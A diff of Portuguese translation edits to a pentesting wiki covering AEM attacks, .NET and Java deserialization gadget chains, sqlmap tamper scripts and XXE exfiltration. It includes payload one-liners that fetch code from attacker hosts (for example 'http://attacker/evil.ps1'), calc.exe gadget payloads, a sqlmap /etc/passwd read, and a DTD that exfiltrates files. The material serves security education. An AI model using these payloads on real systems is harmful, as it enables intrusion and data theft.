 * **osgi-infect** – faça upload de um pacote OSGi malicioso via `/system/console/bundles` se as credenciais estiverem disponíveis.
 
 ---
@@ -106,7 +106,7 @@ python3 aem_hacker.py -u https://target --host attacker-ip
 
 1. Mantenha a instância na **última atualização cumulativa** (a partir de jul 2025: 6.5.22).
 2. Remova/rotacione contas padrão; imponha SSO/SAML.
-3. Reforce os **filtros do Dispatcher** – negue `;`, quebras de linha codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos.
+3. Reforce os **filtros do Dispatcher** – negue `;`, novas linhas codificadas e `*.json` ou `*.querybuilder.json` para usuários anônimos.
 4. Desative ou proteja consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) com listas de permissão de IP.
 5. Aplique o pacote *Endurecimento de Permissão Anônima* enviado pela Adobe.
 

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -22,7 +22,7 @@ Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é c
 
 ![](<../../images/image (319).png>)
 
-Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e isso é o que ele faz:
+Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e é isso que ele faz:
 
 ![](<../../images/image (345).png>)
 
@@ -56,9 +56,9 @@ Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Fram
 
 ## ExpandedWrapper
 
-Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (por exemplo, `Process`). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Esta classe permite **especificar os tipos de objetos dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
+Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
 Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_** dentro de uma instância de **_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
 
 Você pode verificar este wrapper com o seguinte código:
@@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-Neste código você pode **testar a exploração**, basta executá-lo e você verá que uma calculadora é executada:
+Neste código você pode **testar a exploração**, basta executá-lo e você verá que um calc é executado:
 ```java
 using System;
 using System.Text;
@@ -184,25 +184,25 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
-## Cadeias Avançadas de Gadgets .NET (YSoNet & ysoserial.net)
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
 
-A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma de MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team, como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatizam a criação de **gráficos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.
+A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma das MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team, como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatizam a criação de **gráficos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.
 
 Abaixo está uma referência condensada das cadeias mais úteis incluídas com *YSoNet*, juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads.
 
-| Cadeia de Gadget | Ideia Principal / Primitiva | Serializadores Comuns | Linha de comando do YSoNet |
-|------------------|-----------------------------|-----------------------|----------------------------|
-| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` para que, uma vez materializado, o delegado aponte para *qualquer* método fornecido pelo atacante (por exemplo, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *contornar a filtragem de tipos .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo real | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
+|--------------|----------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` para que, uma vez materializado, o delegate aponte para *qualquer* método fornecido pelo atacante (por exemplo, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *contornar a filtragem de tipo .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo real | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
 | **DataSetOldBehaviour** | Aproveita a **representação XML** legada de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando o assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
 | **GetterCompilerResults** | Em tempos de execução habilitados para WPF (> .NET 5), encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* um DLL fornecido com `-c` | `Json.NET` sem tipo, `MessagePack` sem tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (revisão) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. O YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **ObjectDataProvider** (revisão) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
 | **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | Remoção do PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
 > Todos os payloads são **escritos para *stdout*** por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP).
 
-### Construindo / Instalando YSoNet
+### Building / Installing YSoNet
 
 Se não houver binários pré-compilados disponíveis em *Actions ➜ Artifacts* / *Releases*, a seguinte **linha de comando PowerShell** configurará um ambiente de build, clonará o repositório e compilará tudo em modo *Release*:
 ```powershell

src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md

@@ -6,7 +6,7 @@ Neste POST, será explicado um exemplo usando `java.io.Serializable` **e por que
 
 ## Serializable
 
-A interface Java `Serializable` (`java.io.Serializable`) é uma interface de marca que suas classes devem implementar se forem **serializadas** e **desserializadas**. A serialização de objetos Java (escrita) é feita com o [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e a desserialização (leitura) é feita com o [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
+A interface Java `Serializable` (`java.io.Serializable`) é uma interface de marcação que suas classes devem implementar se forem **serializadas** e **desserializadas**. A serialização de objetos Java (escrita) é feita com o [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e a desserialização (leitura) é feita com o [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
 
 ### Lembrete: Quais métodos são invocados implicitamente durante a desserialização?
 
@@ -16,7 +16,7 @@ A interface Java `Serializable` (`java.io.Serializable`) é uma interface de mar
 4. `readExternal()` – para classes que implementam `Externalizable`.
 5. Construtores **não** são executados – portanto, cadeias de gadgets dependem exclusivamente dos callbacks anteriores.
 
-Qualquer método nessa cadeia que acabe invocando dados controlados pelo atacante (execução de comando, buscas JNDI, reflexão, etc.) transforma a rotina de desserialização em um gadget RCE.
+Qualquer método nessa cadeia que acabar invocando dados controlados pelo atacante (execução de comando, buscas JNDI, reflexão, etc.) transforma a rotina de desserialização em um gadget RCE.
 
 Vamos ver um exemplo com uma **classe Person** que é **serializável**. Esta classe **sobrescreve a função readObject**, então quando **qualquer objeto** desta **classe** é **desserializado**, esta **função** será **executada**.\
 No exemplo, a **função readObject** da classe Person chama a função `eat()` de seu animal de estimação e a função `eat()` de um Dog (por algum motivo) chama um **calc.exe**. **Vamos ver como serializar e desserializar um objeto Person para executar esta calculadora:**
@@ -102,16 +102,16 @@ Como você pode ver neste exemplo muito básico, a “vulnerabilidade” aqui ap
 
 * 2023 – CVE-2023-34040: A deserialização de cabeçalhos de registros de erro do Spring-Kafka quando as flags `checkDeserExWhen*` estão habilitadas permitiu a construção arbitrária de gadgets a partir de tópicos publicados por atacantes. Corrigido em 3.0.10 / 2.9.11. ¹
 * 2023 – CVE-2023-36480: A suposição de servidor confiável do cliente Java Aerospike foi quebrada – respostas de servidor malicioso continham cargas úteis serializadas que foram deserializadas pelo cliente → RCE. ²
-* 2023 – CVE-2023-25581: A análise do atributo de perfil de usuário do `pac4j-core` aceitou blobs Base64 com prefixo `{#sb64}` e os deserializou apesar de um `RestrictedObjectInputStream`. Atualize para ≥ 4.0.0.
+* 2023 – CVE-2023-25581: A análise do atributo de perfil de usuário do `pac4j-core` aceitou blobs Base64 com prefixo `{#sb64}` e os deserializou apesar de um `RestrictedObjectInputStream`. Atualizar ≥ 4.0.0.
 * 2023 – CVE-2023-4528: O JSCAPE MFT Manager Service (porta 10880) aceitou objetos Java codificados em XML levando a RCE como root/SYSTEM.
-* 2024 – Várias novas cadeias de gadgets foram adicionadas ao ysoserial-plus(mod), incluindo classes Hibernate5, TomcatEmbed e SnakeYAML 2.x que contornam alguns filtros antigos.
+* 2024 – Múltiplas novas cadeias de gadgets foram adicionadas ao ysoserial-plus(mod) incluindo classes Hibernate5, TomcatEmbed e SnakeYAML 2.x que contornam alguns filtros antigos.
 
 ## Mitigações modernas que você deve implementar
 
 1. **JEP 290 / Filtragem de Serialização (Java 9+)**
 *Adicione uma lista de permissão ou lista de negação de classes:*
 ```bash
-# Aceite apenas seus DTOs e java.base, rejeite tudo o mais
+# Aceitar apenas seus DTOs e java.base, rejeitar tudo o mais
 -Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
 ```
 Exemplo programático:

src/pentesting-web/sql-injection/sqlmap.md

@@ -34,7 +34,7 @@ O argumento `--technique` define quais métodos de injeção SQL o sqlmap tentar
 | T | Time-based blind | Baseia-se em atrasos (`SLEEP`, `WAITFOR`) para detectar injeção |
 | Q | Inline / out-of-band | Usa funções como `LOAD_FILE()` ou canais OOB como DNS |
 
-A ordem padrão é `BEUSTQ`. Você pode rearranjar ou limitar, por exemplo, apenas Boolean e Time-based nessa ordem:
+A ordem padrão é `BEUSTQ`. Você pode rearranjar ou limitá-los, por exemplo, apenas Boolean e Time-based nessa ordem:
 ```bash
 sqlmap -u "http://target/?id=1" --technique="BT" --batch
 ```
@@ -135,29 +135,29 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | Tamper                       | Descrição                                                                                                                         |
 | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8                                                   |
-| apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode                                         |
-| appendnullbyte.py            | Anexa um caractere NULL codificado no final do payload                                                                           |
+| apostrophenullencode.py      | Substitui o caractere apóstrofo pelo seu equivalente ilegal de unicode duplo                                                     |
+| appendnullbyte.py            | Anexa o caractere NULL codificado no final do payload                                                                            |
 | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                        |
 | between.py                   | Substitui o operador maior que \('>'\) por 'NOT BETWEEN 0 AND \#'                                                           |
 | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE |
-| chardoubleencode.py          | Codifica duas vezes todos os caracteres em um payload dado \(não processando já codificados\)                                     |
-| commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                  |
+| chardoubleencode.py          | Codifica duas vezes todos os caracteres em um payload dado \(não processando já codificados\)                                    |
+| commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                   |
 | commalessmid.py              | Substitui instâncias como 'MID\(A, B, C\)' por 'MID\(A FROM B FOR C\)'                                                         |
 | concat2concatws.py           | Substitui instâncias como 'CONCAT\(A, B\)' por 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                     |
 | charencode.py                | Codifica em URL todos os caracteres em um payload dado \(não processando já codificados\)                                        |
-| charunicodeencode.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "%u0022"                |
-| charunicodeescape.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "\u0022"                |
+| charunicodeencode.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "%u0022"               |
+| charunicodeescape.py         | Codifica caracteres não codificados em unicode-url em um payload dado \(não processando já codificados\). "\u0022"               |
 | equaltolike.py               | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE'                                                   |
 | escapequotes.py              | Escapa aspas com barra \(' e "\)                                                                                                 |
-| greatest.py                  | Substitui o operador maior que \('>'\) pelo seu equivalente 'GREATEST'                                                      |
-| halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                              |
+| greatest.py                  | Substitui o operador maior que \('>'\) pelo equivalente 'GREATEST'                                                           |
+| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave                                                           |
 | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)'                                                       |
 | modsecurityversioned.py      | Envolve a consulta completa com um comentário versionado                                                                          |
-| modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                      |
+| modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                     |
 | multiplespaces.py            | Adiciona múltiplos espaços ao redor das palavras-chave SQL                                                                        |
 | nonrecursivereplacement.py   | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição \(e.g. .replace\("SELECT", ""\)\) filtros |
-| percentage.py                | Adiciona um sinal de porcentagem \('%'\) na frente de cada caractere                                                             |
-| overlongutf8.py              | Converte todos os caracteres em um payload dado \(não processando já codificados\)                                               |
+| percentage.py                | Adiciona um sinal de porcentagem \('%'\) na frente de cada caractere                                                              |
+| overlongutf8.py              | Converte todos os caracteres em um payload dado \(não processando já codificados\)                                              |
 | randomcase.py                | Substitui cada caractere de palavra-chave por um valor de caso aleatório                                                         |
 | randomcomments.py            | Adiciona comentários aleatórios às palavras-chave SQL                                                                             |
 | securesphere.py              | Anexa uma string especialmente elaborada                                                                                          |
@@ -166,19 +166,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | space2dash.py                | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
 | space2hash.py                | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
 | space2morehash.py            | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido por uma string aleatória e uma nova linha \('\n'\) |
-| space2mssqlblank.py          | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos      |
-| space2mssqlhash.py           | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido por uma nova linha \('\n'\)                    |
-| space2mysqlblank.py          | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos      |
+| space2mssqlblank.py          | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos     |
+| space2mssqlhash.py           | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido por uma nova linha \('\n'\)                   |
+| space2mysqlblank.py          | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos     |
 | space2mysqldash.py           | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido por uma nova linha \('\n'\)                   |
-| space2plus.py                | Substitui o caractere de espaço \(' '\) por um sinal de mais \('+'\)                                                             |
-| space2randomblank.py         | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos      |
+| space2plus.py                | Substitui o caractere de espaço \(' '\) por um mais \('+'\)                                                                      |
+| space2randomblank.py         | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos     |
 | symboliclogical.py           | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos \(&& e                                                    |
 | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                     |
 | unmagicquotes.py             | Substitui o caractere de aspas \('\) por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final \(para funcionar\) |
 | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                   |
 | varnish.py                   | Anexa um cabeçalho HTTP 'X-originating-IP'                                                                                       |
-| versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário MySQL versionado                                                       |
-| versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário MySQL versionado                                                                     |
+| versionedkeywords.py         | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL                                                   |
+| versionedmorekeywords.py     | Envolve cada palavra-chave com um comentário versionado do MySQL                                                                  |
 | xforwardedfor.py             | Anexa um cabeçalho HTTP falso 'X-Forwarded-For'                                                                                  |
 
 ## Referências

src/pentesting-web/sql-injection/sqlmap/README.md

@@ -27,7 +27,7 @@
 
 A opção `--technique` permite restringir ou reordenar as técnicas de injeção SQL que o sqlmap irá testar. Cada letra corresponde a uma classe diferente de payloads:
 
-| Letter | Technique | Description |
+| Letra | Técnica | Descrição |
 | ------ | --------- | ----------- |
 | B | Boolean-based blind | Usa condições verdadeiro/falso na resposta da página para inferir resultados |
 | E | Error-based | Aproveita mensagens de erro detalhadas do DBMS para extrair dados |
@@ -122,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
 ```bash
 --file-read=/etc/passwd
 ```
-### Rastear um site com SQLmap e auto-exploração
+### Rastrear um site com SQLmap e auto-exploração
 ```bash
 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
 
@@ -167,23 +167,23 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
 | base64encode.py              | Codifica em Base64 todos os caracteres em um payload dado                                                                         |
 | between.py                   | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #'                                                                   |
 | bluecoat.py                  | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE |
-| chardoubleencode.py          | Codifica em URL duas vezes todos os caracteres em um payload dado (não processando já codificados)                                 |
+| chardoubleencode.py          | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados)                                       |
 | commalesslimit.py            | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M'                                                                    |
 | commalessmid.py              | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)'                                                               |
 | concat2concatws.py           | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                             |
 | charencode.py                | Codifica em URL todos os caracteres em um payload dado (não processando já codificados)                                           |
-| charunicodeencode.py         | Codifica em URL unicode caracteres não codificados em um payload dado (não processando já codificados). "%u0022"                  |
-| charunicodeescape.py         | Codifica em URL unicode caracteres não codificados em um payload dado (não processando já codificados). "\u0022"                  |
+| charunicodeencode.py         | Codifica caracteres não codificados em unicode-url em um payload dado (não processando já codificados). "%u0022"                  |
+| charunicodeescape.py         | Codifica caracteres não codificados em unicode-url em um payload dado (não processando já codificados). "\u0022"                  |
 | equaltolike.py               | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE'                                                       |
 | escapequotes.py              | Escapa aspas (' e ") com barra                                                                                                   |
 | greatest.py                  | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST'                                                             |
-| halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                                |
+| halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave                                                               |
 | ifnull2ifisnull.py           | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)'                                                               |
 | modsecurityversioned.py      | Envolve a consulta completa com um comentário versionado                                                                           |
 | modsecurityzeroversioned.py  | Envolve a consulta completa com um comentário de versão zero                                                                       |
 | multiplespaces.py            | Adiciona múltiplos espaços ao redor das palavras-chave SQL                                                                        |
 | nonrecursivereplacement.py   | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
-| percentage.py                | Adiciona um sinal de porcentagem ('%') na frente de cada caractere                                                                 |
+| percentage.py                | Adiciona um sinal de porcentagem ('%') na frente de cada caractere                                                                |
 | overlongutf8.py              | Converte todos os caracteres em um payload dado (não processando já codificados)                                                  |
 | randomcase.py                | Substitui cada caractere de palavra-chave por um valor de caso aleatório                                                          |
 | randomcomments.py            | Adiciona comentários aleatórios às palavras-chave SQL                                                                             |
@@ -191,15 +191,15 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
 | sp_password.py               | Anexa 'sp_password' ao final do payload para ofuscação automática dos logs do DBMS                                                |
 | space2comment.py             | Substitui o caractere de espaço (' ') por comentários                                                                              |
 | space2dash.py                | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma string aleatória e uma nova linha ('\n')   |
-| space2hash.py                | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n')     |
-| space2morehash.py            | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n')     |
+| space2hash.py                | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n')    |
+| space2morehash.py            | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma string aleatória e uma nova linha ('\n')    |
 | space2mssqlblank.py          | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        |
 | space2mssqlhash.py           | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma nova linha ('\n')                          |
 | space2mysqlblank.py          | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        |
 | space2mysqldash.py           | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n')                        |
 | space2plus.py                | Substitui o caractere de espaço (' ') por um sinal de mais ('+')                                                                  |
 | space2randomblank.py         | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos        |
-| symboliclogical.py           | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e                                                     |
+| symboliclogical.py           | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e                                                  |
 | unionalltounion.py           | Substitui UNION ALL SELECT por UNION SELECT                                                                                        |
 | unmagicquotes.py             | Substitui o caractere de citação (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) |
 | uppercase.py                 | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT'                                                    |

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -16,7 +16,7 @@ XML é uma linguagem de marcação projetada para armazenamento e transporte de
 
 ## Principais ataques
 
-[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
+[**A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
 
 ### Teste de Nova Entidade
 
@@ -93,7 +93,7 @@ Usando a **técnica comentada anteriormente**, você pode fazer o servidor acess
 
 **Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via requisição HTTP (para arquivos de várias linhas, você pode tentar exfiltrá-lo via \_ftp://**\_ usando este servidor básico, por exemplo, [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicação é baseada em** [**Portswiggers lab aqui**](https://portswigger.net/web-security/xxe/blind)**.**
 
-No DTD malicioso fornecido, uma série de etapas são realizadas para exfiltrar dados:
+No DTD malicioso fornecido, uma série de etapas é realizada para exfiltrar dados:
 
 ### Exemplo de DTD Malicioso:
 
@@ -108,7 +108,7 @@ Os passos executados por este DTD incluem:
 
 1. **Definição de Entidades de Parâmetro:**
 - Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
-- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
+- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
 2. **Execução de Entidades:**
 - A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
 - A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
@@ -125,7 +125,7 @@ Este payload define uma entidade de parâmetro XML `%xxe` e a incorpora dentro d
 
 ### Baseado em Erro (DTD Externo)
 
-**Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
+**Neste caso, vamos fazer com que o servidor carregue um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro).** [**Exemplo daqui.**](https://portswigger.net/web-security/xxe/blind)
 
 Uma mensagem de erro de parsing XML, revelando o conteúdo do arquivo `/etc/passwd`, pode ser acionada usando um Documento Tipo de Definição (DTD) externo malicioso. Isso é realizado através dos seguintes passos:
 
@@ -146,7 +146,7 @@ Ao ser executada, a resposta do servidor web deve incluir uma mensagem de erro e
 
 _**Por favor, note que DTD externo nos permite incluir uma entidade dentro do segundo `eval`), mas isso é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).**_
 
-### **Baseado em Erro (DTD do sistema)**
+### **Baseado em Erro (system DTD)**
 
 E quanto às vulnerabilidades XXE cegas quando **interações fora da banda estão bloqueadas** (conexões externas não estão disponíveis)?
 
@@ -235,7 +235,7 @@ Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente v
 
 ### Jar: protocol
 
